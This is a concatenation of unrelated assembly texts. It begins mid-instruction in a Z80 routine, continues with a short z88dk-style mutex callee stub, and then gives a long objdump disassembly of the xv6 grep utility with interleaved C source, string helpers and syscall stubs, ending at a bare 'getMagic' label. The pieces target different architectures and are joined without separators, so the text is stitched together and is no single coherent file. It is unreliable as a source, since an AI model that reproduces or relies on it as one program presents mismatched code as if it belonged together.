3,a jr z,ZBK set 0,a and 7 .ZBK ;'''''''''''''''''''''' rla rla rla ld e,a ld a,(23693) and @11000111 or e jr setbk .noback ret
; int mtx_timedlock_callee(mtx_t *m, struct timespec *ts) SECTION code_threads_mutex PUBLIC _mtx_timedlock_callee EXTERN asm_mtx_timedlock _mtx_timedlock_callee: pop af pop hl pop bc push af jp asm_mtx_timedlock
_grep: file format elf32-i386 Disassembly of section .text: 00000000 <grep>: char buf[1024]; int match(char*, char*); void grep(char *pattern, int fd) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 18 sub $0x18,%esp int n, m; char *p, *q; m = 0; 6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){ d: e9 ab 00 00 00 jmp bd <grep+0xbd> m += n; 12: 8b 45 ec mov -0x14(%ebp),%eax 15: 01 45 f4 add %eax,-0xc(%ebp) p = buf; 18: c7 45 f0 20 0e 00 00 movl $0xe20,-0x10(%ebp) while((q = strchr(p, '\n')) != 0){ 1f: eb 4a jmp 6b <grep+0x6b> *q = 0; 21: 8b 45 e8 mov -0x18(%ebp),%eax 24: c6 00 00 movb $0x0,(%eax) if(match(pattern, p)){ 27: 83 ec 08 sub $0x8,%esp 2a: ff 75 f0 pushl -0x10(%ebp) 2d: ff 75 08 pushl 0x8(%ebp) 30: e8 9a 01 00 00 call 1cf <match> 35: 83 c4 10 add $0x10,%esp 38: 85 c0 test %eax,%eax 3a: 74 26 je 62 <grep+0x62> *q = '\n'; 3c: 8b 45 e8 mov -0x18(%ebp),%eax 3f: c6 00 0a movb $0xa,(%eax) write(1, p, q+1 - p); 42: 8b 45 e8 mov -0x18(%ebp),%eax 45: 83 c0 01 add $0x1,%eax 48: 89 c2 mov %eax,%edx 4a: 8b 45 f0 mov -0x10(%ebp),%eax 4d: 29 c2 sub %eax,%edx 4f: 89 d0 mov %edx,%eax 51: 83 ec 04 sub $0x4,%esp 54: 50 push %eax 55: ff 75 f0 pushl -0x10(%ebp) 58: 6a 01 push $0x1 5a: e8 43 05 00 00 call 5a2 <write> 5f: 83 c4 10 add $0x10,%esp } p = q+1; 62: 8b 45 e8 mov -0x18(%ebp),%eax 65: 83 c0 01 add $0x1,%eax 68: 89 45 f0 mov %eax,-0x10(%ebp) m = 0; while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){ m += n; p = buf; while((q = strchr(p, '\n')) != 0){ 6b: 83 ec 08 sub $0x8,%esp 6e: 6a 0a push $0xa 70: ff 75 f0 pushl -0x10(%ebp) 73: e8 89 03 00 00 call 401 <strchr> 78: 83 c4 10 add $0x10,%esp 7b: 89 45 e8 mov %eax,-0x18(%ebp) 7e: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 82: 75 9d jne 21 <grep+0x21> *q = '\n'; write(1, p, q+1 - p); } p = q+1; } if(p == buf) 84: 81 7d f0 20 0e 00 00 cmpl $0xe20,-0x10(%ebp) 8b: 75 07 jne 94 <grep+0x94> m = 0; 8d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) if(m > 0){ 94: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 98: 7e 23 jle bd <grep+0xbd> m -= p - buf; 9a: 8b 45 f0 mov -0x10(%ebp),%eax 9d: ba 20 0e 00 00 mov $0xe20,%edx a2: 29 d0 sub %edx,%eax a4: 29 45 f4 sub %eax,-0xc(%ebp) memmove(buf, p, m); a7: 83 ec 04 sub $0x4,%esp aa: ff 75 f4 pushl -0xc(%ebp) ad: ff 75 f0 pushl -0x10(%ebp) b0: 68 20 0e 00 00 push $0xe20 b5: e8 83 04 00 00 call 53d <memmove> ba: 83 c4 10 add $0x10,%esp { int n, m; char *p, *q; m = 0; while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){ bd: 8b 45 f4 mov -0xc(%ebp),%eax c0: ba 00 04 00 00 mov $0x400,%edx c5: 29 c2 sub %eax,%edx c7: 89 d0 mov %edx,%eax c9: 89 c2 mov %eax,%edx cb: 8b 45 f4 mov -0xc(%ebp),%eax ce: 05 20 0e 00 00 add $0xe20,%eax d3: 83 ec 04 sub $0x4,%esp d6: 52 push %edx d7: 50 push %eax d8: ff 75 0c pushl 0xc(%ebp) db: e8 ba 04 00 00 call 59a <read> e0: 83 c4 10 add $0x10,%esp e3: 89 45 ec mov %eax,-0x14(%ebp) e6: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) ea: 0f 8f 22 ff ff ff jg 12 <grep+0x12> if(m > 0){ m -= p - buf; memmove(buf, p, m); } } } f0: 90 nop f1: c9 leave f2: c3 ret 000000f3 <main>: int main(int argc, char *argv[]) { f3: 8d 4c 24 04 lea 0x4(%esp),%ecx f7: 83 e4 f0 and $0xfffffff0,%esp fa: ff 71 fc pushl -0x4(%ecx) fd: 55 push %ebp fe: 89 e5 mov %esp,%ebp 100: 53 push %ebx 101: 51 push %ecx 102: 83 ec 10 sub $0x10,%esp 105: 89 cb mov %ecx,%ebx int fd, i; char *pattern; if(argc <= 1){ 107: 83 3b 01 cmpl $0x1,(%ebx) 10a: 7f 17 jg 123 <main+0x30> printf(2, "usage: grep pattern [file ...]\n"); 10c: 83 ec 08 sub $0x8,%esp 10f: 68 d0 0a 00 00 push $0xad0 114: 6a 02 push $0x2 116: e8 fe 05 00 00 call 719 <printf> 11b: 83 c4 10 add $0x10,%esp exit(); 11e: e8 5f 04 00 00 call 582 <exit> } pattern = argv[1]; 123: 8b 43 04 mov 0x4(%ebx),%eax 126: 8b 40 04 mov 0x4(%eax),%eax 129: 89 45 f0 mov %eax,-0x10(%ebp) if(argc <= 2){ 12c: 83 3b 02 cmpl $0x2,(%ebx) 12f: 7f 15 jg 146 <main+0x53> grep(pattern, 0); 131: 83 ec 08 sub $0x8,%esp 134: 6a 00 push $0x0 136: ff 75 f0 pushl -0x10(%ebp) 139: e8 c2 fe ff ff call 0 <grep> 13e: 83 c4 10 add $0x10,%esp exit(); 141: e8 3c 04 00 00 call 582 <exit> } for(i = 2; i < argc; i++){ 146: c7 45 f4 02 00 00 00 movl $0x2,-0xc(%ebp) 14d: eb 74 jmp 1c3 <main+0xd0> if((fd = open(argv[i], 0)) < 0){ 14f: 8b 45 f4 mov -0xc(%ebp),%eax 152: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 159: 8b 43 04 mov 0x4(%ebx),%eax 15c: 01 d0 add %edx,%eax 15e: 8b 00 mov (%eax),%eax 160: 83 ec 08 sub $0x8,%esp 163: 6a 00 push $0x0 165: 50 push %eax 166: e8 57 04 00 00 call 5c2 <open> 16b: 83 c4 10 add $0x10,%esp 16e: 89 45 ec mov %eax,-0x14(%ebp) 171: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 175: 79 29 jns 1a0 <main+0xad> printf(1, "grep: cannot open %s\n", argv[i]); 177: 8b 45 f4 mov -0xc(%ebp),%eax 17a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 181: 8b 43 04 mov 0x4(%ebx),%eax 184: 01 d0 add %edx,%eax 186: 8b 00 mov (%eax),%eax 188: 83 ec 04 sub $0x4,%esp 18b: 50 push %eax 18c: 68 f0 0a 00 00 push $0xaf0 191: 6a 01 push $0x1 193: e8 81 05 00 00 call 719 <printf> 198: 83 c4 10 add $0x10,%esp exit(); 19b: e8 e2 03 00 00 call 582 <exit> } grep(pattern, fd); 1a0: 83 ec 08 sub $0x8,%esp 1a3: ff 75 ec pushl -0x14(%ebp) 1a6: ff 75 f0 pushl -0x10(%ebp) 1a9: e8 52 fe ff ff call 0 <grep> 1ae: 83 c4 10 add $0x10,%esp close(fd); 1b1: 83 ec 0c sub $0xc,%esp 1b4: ff 75 ec pushl -0x14(%ebp) 1b7: e8 ee 03 00 00 call 5aa <close> 1bc: 83 c4 10 add $0x10,%esp if(argc <= 2){ grep(pattern, 0); exit(); } for(i = 2; i < argc; i++){ 1bf: 83 45 f4 01 addl $0x1,-0xc(%ebp) 1c3: 8b 45 f4 mov -0xc(%ebp),%eax 1c6: 3b 03 cmp (%ebx),%eax 1c8: 7c 85 jl 14f <main+0x5c> exit(); } grep(pattern, fd); close(fd); } exit(); 1ca: e8 b3 03 00 00 call 582 <exit> 000001cf <match>: int matchhere(char*, char*); int matchstar(int, char*, char*); int match(char *re, char *text) { 1cf: 55 push %ebp 1d0: 89 e5 mov %esp,%ebp 1d2: 83 ec 08 sub $0x8,%esp if(re[0] == '^') 1d5: 8b 45 08 mov 0x8(%ebp),%eax 1d8: 0f b6 00 movzbl (%eax),%eax 1db: 3c 5e cmp $0x5e,%al 1dd: 75 17 jne 1f6 <match+0x27> return matchhere(re+1, text); 1df: 8b 45 08 mov 0x8(%ebp),%eax 1e2: 83 c0 01 add $0x1,%eax 1e5: 83 ec 08 sub $0x8,%esp 1e8: ff 75 0c pushl 0xc(%ebp) 1eb: 50 push %eax 1ec: e8 38 00 00 00 call 229 <matchhere> 1f1: 83 c4 10 add $0x10,%esp 1f4: eb 31 jmp 227 <match+0x58> do{ // must look at empty string if(matchhere(re, text)) 1f6: 83 ec 08 sub $0x8,%esp 1f9: ff 75 0c pushl 0xc(%ebp) 1fc: ff 75 08 pushl 0x8(%ebp) 1ff: e8 25 00 00 00 call 229 <matchhere> 204: 83 c4 10 add $0x10,%esp 207: 85 c0 test %eax,%eax 209: 74 07 je 212 <match+0x43> return 1; 20b: b8 01 00 00 00 mov $0x1,%eax 210: eb 15 jmp 227 <match+0x58> }while(*text++ != '\0'); 212: 8b 45 0c mov 0xc(%ebp),%eax 215: 8d 50 01 lea 0x1(%eax),%edx 218: 89 55 0c mov %edx,0xc(%ebp) 21b: 0f b6 00 movzbl (%eax),%eax 21e: 84 c0 test %al,%al 220: 75 d4 jne 1f6 <match+0x27> return 0; 222: b8 00 00 00 00 mov $0x0,%eax } 227: c9 leave 228: c3 ret 00000229 <matchhere>: // matchhere: search for re at beginning of text int matchhere(char *re, char *text) { 229: 55 push %ebp 22a: 89 e5 mov %esp,%ebp 22c: 83 ec 08 sub $0x8,%esp if(re[0] == '\0') 22f: 8b 45 08 mov 0x8(%ebp),%eax 232: 0f b6 00 movzbl (%eax),%eax 235: 84 c0 test %al,%al 237: 75 0a jne 243 <matchhere+0x1a> return 1; 239: b8 01 00 00 00 mov $0x1,%eax 23e: e9 99 00 00 00 jmp 2dc <matchhere+0xb3> if(re[1] == '*') 243: 8b 45 08 mov 0x8(%ebp),%eax 246: 83 c0 01 add $0x1,%eax 249: 0f b6 00 movzbl (%eax),%eax 24c: 3c 2a cmp $0x2a,%al 24e: 75 21 jne 271 <matchhere+0x48> return matchstar(re[0], re+2, text); 250: 8b 45 08 mov 0x8(%ebp),%eax 253: 8d 50 02 lea 0x2(%eax),%edx 256: 8b 45 08 mov 0x8(%ebp),%eax 259: 0f b6 00 movzbl (%eax),%eax 25c: 0f be c0 movsbl %al,%eax 25f: 83 ec 04 sub $0x4,%esp 262: ff 75 0c pushl 0xc(%ebp) 265: 52 push %edx 266: 50 push %eax 267: e8 72 00 00 00 call 2de <matchstar> 26c: 83 c4 10 add $0x10,%esp 26f: eb 6b jmp 2dc <matchhere+0xb3> if(re[0] == '$' && re[1] == '\0') 271: 8b 45 08 mov 0x8(%ebp),%eax 274: 0f b6 00 movzbl (%eax),%eax 277: 3c 24 cmp $0x24,%al 279: 75 1d jne 298 <matchhere+0x6f> 27b: 8b 45 08 mov 0x8(%ebp),%eax 27e: 83 c0 01 add $0x1,%eax 281: 0f b6 00 movzbl (%eax),%eax 284: 84 c0 test %al,%al 286: 75 10 jne 298 <matchhere+0x6f> return *text == '\0'; 288: 8b 45 0c mov 0xc(%ebp),%eax 28b: 0f b6 00 movzbl (%eax),%eax 28e: 84 c0 test %al,%al 290: 0f 94 c0 sete %al 293: 0f b6 c0 movzbl %al,%eax 296: eb 44 jmp 2dc <matchhere+0xb3> if(*text!='\0' && (re[0]=='.' || re[0]==*text)) 298: 8b 45 0c mov 0xc(%ebp),%eax 29b: 0f b6 00 movzbl (%eax),%eax 29e: 84 c0 test %al,%al 2a0: 74 35 je 2d7 <matchhere+0xae> 2a2: 8b 45 08 mov 0x8(%ebp),%eax 2a5: 0f b6 00 movzbl (%eax),%eax 2a8: 3c 2e cmp $0x2e,%al 2aa: 74 10 je 2bc <matchhere+0x93> 2ac: 8b 45 08 mov 0x8(%ebp),%eax 2af: 0f b6 10 movzbl (%eax),%edx 2b2: 8b 45 0c mov 0xc(%ebp),%eax 2b5: 0f b6 00 movzbl (%eax),%eax 2b8: 38 c2 cmp %al,%dl 2ba: 75 1b jne 2d7 <matchhere+0xae> return matchhere(re+1, text+1); 2bc: 8b 45 0c mov 0xc(%ebp),%eax 2bf: 8d 50 01 lea 0x1(%eax),%edx 2c2: 8b 45 08 mov 0x8(%ebp),%eax 2c5: 83 c0 01 add $0x1,%eax 2c8: 83 ec 08 sub $0x8,%esp 2cb: 52 push %edx 2cc: 50 push %eax 2cd: e8 57 ff ff ff call 229 <matchhere> 2d2: 83 c4 10 add $0x10,%esp 2d5: eb 05 jmp 2dc <matchhere+0xb3> return 0; 2d7: b8 00 00 00 00 mov $0x0,%eax } 2dc: c9 leave 2dd: c3 ret 000002de <matchstar>: // matchstar: search for c*re at beginning of text int matchstar(int c, char *re, char *text) { 2de: 55 push %ebp 2df: 89 e5 mov %esp,%ebp 2e1: 83 ec 08 sub $0x8,%esp do{ // a * matches zero or more instances if(matchhere(re, text)) 2e4: 83 ec 08 sub $0x8,%esp 2e7: ff 75 10 pushl 0x10(%ebp) 2ea: ff 75 0c pushl 0xc(%ebp) 2ed: e8 37 ff ff ff call 229 <matchhere> 2f2: 83 c4 10 add $0x10,%esp 2f5: 85 c0 test %eax,%eax 2f7: 74 07 je 300 <matchstar+0x22> return 1; 2f9: b8 01 00 00 00 mov $0x1,%eax 2fe: eb 29 jmp 329 <matchstar+0x4b> }while(*text!='\0' && (*text++==c || c=='.')); 300: 8b 45 10 mov 0x10(%ebp),%eax 303: 0f b6 00 movzbl (%eax),%eax 306: 84 c0 test %al,%al 308: 74 1a je 324 <matchstar+0x46> 30a: 8b 45 10 mov 0x10(%ebp),%eax 30d: 8d 50 01 lea 0x1(%eax),%edx 310: 89 55 10 mov %edx,0x10(%ebp) 313: 0f b6 00 movzbl (%eax),%eax 316: 0f be c0 movsbl %al,%eax 319: 3b 45 08 cmp 0x8(%ebp),%eax 31c: 74 c6 je 2e4 <matchstar+0x6> 31e: 83 7d 08 2e cmpl $0x2e,0x8(%ebp) 322: 74 c0 je 2e4 <matchstar+0x6> return 0; 324: b8 00 00 00 00 mov $0x0,%eax } 329: c9 leave 32a: c3 ret 0000032b <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 32b: 55 push %ebp 32c: 89 e5 mov %esp,%ebp 32e: 57 push %edi 32f: 53 push %ebx asm volatile("cld; rep stosb" : 330: 8b 4d 08 mov 0x8(%ebp),%ecx 333: 8b 55 10 mov 0x10(%ebp),%edx 336: 8b 45 0c mov 0xc(%ebp),%eax 339: 89 cb mov %ecx,%ebx 33b: 89 df mov %ebx,%edi 33d: 89 d1 mov %edx,%ecx 33f: fc cld 340: f3 aa rep stos %al,%es:(%edi) 342: 89 ca mov %ecx,%edx 344: 89 fb mov %edi,%ebx 346: 89 5d 08 mov %ebx,0x8(%ebp) 349: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 34c: 90 nop 34d: 5b pop %ebx 34e: 5f pop %edi 34f: 5d pop %ebp 350: c3 ret 00000351 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 351: 55 push %ebp 352: 89 e5 mov %esp,%ebp 354: 83 ec 10 sub $0x10,%esp char *os; os = s; 357: 8b 45 08 mov 0x8(%ebp),%eax 35a: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 35d: 90 nop 35e: 8b 45 08 mov 0x8(%ebp),%eax 361: 8d 50 01 lea 0x1(%eax),%edx 364: 89 55 08 mov %edx,0x8(%ebp) 367: 8b 55 0c mov 0xc(%ebp),%edx 36a: 8d 4a 01 lea 0x1(%edx),%ecx 36d: 89 4d 0c mov %ecx,0xc(%ebp) 370: 0f b6 12 movzbl (%edx),%edx 373: 88 10 mov %dl,(%eax) 375: 0f b6 00 movzbl (%eax),%eax 378: 84 c0 test %al,%al 37a: 75 e2 jne 35e <strcpy+0xd> ; return os; 37c: 8b 45 fc mov -0x4(%ebp),%eax } 37f: c9 leave 380: c3 ret 00000381 <strcmp>: int strcmp(const char *p, const char *q) { 381: 55 push %ebp 382: 89 e5 mov %esp,%ebp while(*p && *p == *q) 384: eb 08 jmp 38e <strcmp+0xd> p++, q++; 386: 83 45 08 01 addl $0x1,0x8(%ebp) 38a: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 38e: 8b 45 08 mov 0x8(%ebp),%eax 391: 0f b6 00 movzbl (%eax),%eax 394: 84 c0 test %al,%al 396: 74 10 je 3a8 <strcmp+0x27> 398: 8b 45 08 mov 0x8(%ebp),%eax 39b: 0f b6 10 movzbl (%eax),%edx 39e: 8b 45 0c mov 0xc(%ebp),%eax 3a1: 0f b6 00 movzbl (%eax),%eax 3a4: 38 c2 cmp %al,%dl 3a6: 74 de je 386 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 3a8: 8b 45 08 mov 0x8(%ebp),%eax 3ab: 0f b6 00 movzbl (%eax),%eax 3ae: 0f b6 d0 movzbl %al,%edx 3b1: 8b 45 0c mov 0xc(%ebp),%eax 3b4: 0f b6 00 movzbl (%eax),%eax 3b7: 0f b6 c0 movzbl %al,%eax 3ba: 29 c2 sub %eax,%edx 3bc: 89 d0 mov %edx,%eax } 3be: 5d pop %ebp 3bf: c3 ret 000003c0 <strlen>: uint strlen(char *s) { 3c0: 55 push %ebp 3c1: 89 e5 mov %esp,%ebp 3c3: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 3c6: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 3cd: eb 04 jmp 3d3 <strlen+0x13> 3cf: 83 45 fc 01 addl $0x1,-0x4(%ebp) 3d3: 8b 55 fc mov -0x4(%ebp),%edx 3d6: 8b 45 08 mov 0x8(%ebp),%eax 3d9: 01 d0 add %edx,%eax 3db: 0f b6 00 movzbl (%eax),%eax 3de: 84 c0 test %al,%al 3e0: 75 ed jne 3cf <strlen+0xf> ; return n; 3e2: 8b 45 fc mov -0x4(%ebp),%eax } 3e5: c9 leave 3e6: c3 ret 000003e7 <memset>: void* memset(void *dst, int c, uint n) { 3e7: 55 push %ebp 3e8: 89 e5 mov %esp,%ebp stosb(dst, c, n); 3ea: 8b 45 10 mov 0x10(%ebp),%eax 3ed: 50 push %eax 3ee: ff 75 0c pushl 0xc(%ebp) 3f1: ff 75 08 pushl 0x8(%ebp) 3f4: e8 32 ff ff ff call 32b <stosb> 3f9: 83 c4 0c add $0xc,%esp return dst; 3fc: 8b 45 08 mov 0x8(%ebp),%eax } 3ff: c9 leave 400: c3 ret 00000401 <strchr>: char* strchr(const char *s, char c) { 401: 55 push %ebp 402: 89 e5 mov %esp,%ebp 404: 83 ec 04 sub $0x4,%esp 407: 8b 45 0c mov 0xc(%ebp),%eax 40a: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 40d: eb 14 jmp 423 <strchr+0x22> if(*s == c) 40f: 8b 45 08 mov 0x8(%ebp),%eax 412: 0f b6 00 movzbl (%eax),%eax 415: 3a 45 fc cmp -0x4(%ebp),%al 418: 75 05 jne 41f <strchr+0x1e> return (char*)s; 41a: 8b 45 08 mov 0x8(%ebp),%eax 41d: eb 13 jmp 432 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 41f: 83 45 08 01 addl $0x1,0x8(%ebp) 423: 8b 45 08 mov 0x8(%ebp),%eax 426: 0f b6 00 movzbl (%eax),%eax 429: 84 c0 test %al,%al 42b: 75 e2 jne 40f <strchr+0xe> if(*s == c) return (char*)s; return 0; 42d: b8 00 00 00 00 mov $0x0,%eax } 432: c9 leave 433: c3 ret 00000434 <gets>: char* gets(char *buf, int max) { 434: 55 push %ebp 435: 89 e5 mov %esp,%ebp 437: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 43a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 441: eb 42 jmp 485 <gets+0x51> cc = read(0, &c, 1); 443: 83 ec 04 sub $0x4,%esp 446: 6a 01 push $0x1 448: 8d 45 ef lea -0x11(%ebp),%eax 44b: 50 push %eax 44c: 6a 00 push $0x0 44e: e8 47 01 00 00 call 59a <read> 453: 83 c4 10 add $0x10,%esp 456: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 459: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 45d: 7e 33 jle 492 <gets+0x5e> break; buf[i++] = c; 45f: 8b 45 f4 mov -0xc(%ebp),%eax 462: 8d 50 01 lea 0x1(%eax),%edx 465: 89 55 f4 mov %edx,-0xc(%ebp) 468: 89 c2 mov %eax,%edx 46a: 8b 45 08 mov 0x8(%ebp),%eax 46d: 01 c2 add %eax,%edx 46f: 0f b6 45 ef movzbl -0x11(%ebp),%eax 473: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 475: 0f b6 45 ef movzbl -0x11(%ebp),%eax 479: 3c 0a cmp $0xa,%al 47b: 74 16 je 493 <gets+0x5f> 47d: 0f b6 45 ef movzbl -0x11(%ebp),%eax 481: 3c 0d cmp $0xd,%al 483: 74 0e je 493 <gets+0x5f> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 485: 8b 45 f4 mov -0xc(%ebp),%eax 488: 83 c0 01 add $0x1,%eax 48b: 3b 45 0c cmp 0xc(%ebp),%eax 48e: 7c b3 jl 443 <gets+0xf> 490: eb 01 jmp 493 <gets+0x5f> cc = read(0, &c, 1); if(cc < 1) break; 492: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 493: 8b 55 f4 mov -0xc(%ebp),%edx 496: 8b 45 08 mov 0x8(%ebp),%eax 499: 01 d0 add %edx,%eax 49b: c6 00 00 movb $0x0,(%eax) return buf; 49e: 8b 45 08 mov 0x8(%ebp),%eax } 4a1: c9 leave 4a2: c3 ret 000004a3 <stat>: int stat(char *n, struct stat *st) { 4a3: 55 push %ebp 4a4: 89 e5 mov %esp,%ebp 4a6: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 4a9: 83 ec 08 sub $0x8,%esp 4ac: 6a 00 push $0x0 4ae: ff 75 08 pushl 0x8(%ebp) 4b1: e8 0c 01 00 00 call 5c2 <open> 4b6: 83 c4 10 add $0x10,%esp 4b9: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 4bc: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 4c0: 79 07 jns 4c9 <stat+0x26> return -1; 4c2: b8 ff ff ff ff mov $0xffffffff,%eax 4c7: eb 25 jmp 4ee <stat+0x4b> r = fstat(fd, st); 4c9: 83 ec 08 sub $0x8,%esp 4cc: ff 75 0c pushl 0xc(%ebp) 4cf: ff 75 f4 pushl -0xc(%ebp) 4d2: e8 03 01 00 00 call 5da <fstat> 4d7: 83 c4 10 add $0x10,%esp 4da: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 4dd: 83 ec 0c sub $0xc,%esp 4e0: ff 75 f4 pushl -0xc(%ebp) 4e3: e8 c2 00 00 00 call 5aa <close> 4e8: 83 c4 10 add $0x10,%esp return r; 4eb: 8b 45 f0 mov -0x10(%ebp),%eax } 4ee: c9 leave 4ef: c3 ret 000004f0 <atoi>: int atoi(const char *s) { 4f0: 55 push %ebp 4f1: 89 e5 mov %esp,%ebp 4f3: 83 ec 10 sub $0x10,%esp int n; n = 0; 4f6: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 4fd: eb 25 jmp 524 <atoi+0x34> n = n*10 + *s++ - '0'; 4ff: 8b 55 fc mov -0x4(%ebp),%edx 502: 89 d0 mov %edx,%eax 504: c1 e0 02 shl $0x2,%eax 507: 01 d0 add %edx,%eax 509: 01 c0 add %eax,%eax 50b: 89 c1 mov %eax,%ecx 50d: 8b 45 08 mov 0x8(%ebp),%eax 510: 8d 50 01 lea 0x1(%eax),%edx 513: 89 55 08 mov %edx,0x8(%ebp) 516: 0f b6 00 movzbl (%eax),%eax 519: 0f be c0 movsbl %al,%eax 51c: 01 c8 add %ecx,%eax 51e: 83 e8 30 sub $0x30,%eax 521: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 524: 8b 45 08 mov 0x8(%ebp),%eax 527: 0f b6 00 movzbl (%eax),%eax 52a: 3c 2f cmp $0x2f,%al 52c: 7e 0a jle 538 <atoi+0x48> 52e: 8b 45 08 mov 0x8(%ebp),%eax 531: 0f b6 00 movzbl (%eax),%eax 534: 3c 39 cmp $0x39,%al 536: 7e c7 jle 4ff <atoi+0xf> n = n*10 + *s++ - '0'; return n; 538: 8b 45 fc mov -0x4(%ebp),%eax } 53b: c9 leave 53c: c3 ret 0000053d <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 53d: 55 push %ebp 53e: 89 e5 mov %esp,%ebp 540: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 543: 8b 45 08 mov 0x8(%ebp),%eax 546: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 549: 8b 45 0c mov 0xc(%ebp),%eax 54c: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 54f: eb 17 jmp 568 <memmove+0x2b> *dst++ = *src++; 551: 8b 45 fc mov -0x4(%ebp),%eax 554: 8d 50 01 lea 0x1(%eax),%edx 557: 89 55 fc mov %edx,-0x4(%ebp) 55a: 8b 55 f8 mov -0x8(%ebp),%edx 55d: 8d 4a 01 lea 0x1(%edx),%ecx 560: 89 4d f8 mov %ecx,-0x8(%ebp) 563: 0f b6 12 movzbl (%edx),%edx 566: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 568: 8b 45 10 mov 0x10(%ebp),%eax 56b: 8d 50 ff lea -0x1(%eax),%edx 56e: 89 55 10 mov %edx,0x10(%ebp) 571: 85 c0 test %eax,%eax 573: 7f dc jg 551 <memmove+0x14> *dst++ = *src++; return vdst; 575: 8b 45 08 mov 0x8(%ebp),%eax } 578: c9 leave 579: c3 ret 0000057a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 57a: b8 01 00 00 00 mov $0x1,%eax 57f: cd 40 int $0x40 581: c3 ret 00000582 <exit>: SYSCALL(exit) 582: b8 02 00 00 00 mov $0x2,%eax 587: cd 40 int $0x40 589: c3 ret 0000058a <wait>: SYSCALL(wait) 58a: b8 03 00 00 00 mov $0x3,%eax 58f: cd 40 int $0x40 591: c3 ret 00000592 <pipe>: SYSCALL(pipe) 592: b8 04 00 00 00 mov $0x4,%eax 597: cd 40 int $0x40 599: c3 ret 0000059a <read>: SYSCALL(read) 59a: b8 05 00 00 00 mov $0x5,%eax 59f: cd 40 int $0x40 5a1: c3 ret 000005a2 <write>: SYSCALL(write) 5a2: b8 10 00 00 00 mov $0x10,%eax 5a7: cd 40 int $0x40 5a9: c3 ret 000005aa <close>: SYSCALL(close) 5aa: b8 15 00 00 00 mov $0x15,%eax 5af: cd 40 int $0x40 5b1: c3 ret 000005b2 <kill>: SYSCALL(kill) 5b2: b8 06 00 00 00 mov $0x6,%eax 5b7: cd 40 int $0x40 5b9: c3 ret 000005ba <exec>: SYSCALL(exec) 5ba: b8 07 00 00 00 mov $0x7,%eax 5bf: cd 40 int $0x40 5c1: c3 ret 000005c2 <open>: SYSCALL(open) 5c2: b8 0f 00 00 00 mov $0xf,%eax 5c7: cd 40 int $0x40 5c9: c3 ret 000005ca <mknod>: SYSCALL(mknod) 5ca: b8 11 00 00 00 mov $0x11,%eax 5cf: cd 40 int $0x40 5d1: c3 ret 000005d2 <unlink>: SYSCALL(unlink) 5d2: b8 12 00 00 00 mov $0x12,%eax 5d7: cd 40 int $0x40 5d9: c3 ret 000005da <fstat>: SYSCALL(fstat) 5da: b8 08 00 00 00 mov $0x8,%eax 5df: cd 40 int $0x40 5e1: c3 ret 000005e2 <link>: SYSCALL(link) 5e2: b8 13 00 00 00 mov $0x13,%eax 5e7: cd 40 int $0x40 5e9: c3 ret 000005ea <mkdir>: SYSCALL(mkdir) 5ea: b8 14 00 00 00 mov $0x14,%eax 5ef: cd 40 int $0x40 5f1: c3 ret 000005f2 <chdir>: SYSCALL(chdir) 5f2: b8 09 00 00 00 mov $0x9,%eax 5f7: cd 40 int $0x40 5f9: c3 ret 000005fa <dup>: SYSCALL(dup) 5fa: b8 0a 00 00 00 mov $0xa,%eax 5ff: cd 40 int $0x40 601: c3 ret 00000602 <getpid>: SYSCALL(getpid) 602: b8 0b 00 00 00 mov $0xb,%eax 607: cd 40 int $0x40 609: c3 ret 0000060a <sbrk>: SYSCALL(sbrk) 60a: b8 0c 00 00 00 mov $0xc,%eax 60f: cd 40 int $0x40 611: c3 ret 00000612 <sleep>: SYSCALL(sleep) 612: b8 0d 00 00 00 mov $0xd,%eax 617: cd 40 int $0x40 619: c3 ret 0000061a <uptime>: SYSCALL(uptime) 61a: b8 0e 00 00 00 mov $0xe,%eax 61f: cd 40 int $0x40 621: c3 ret 00000622 <getMagic>: 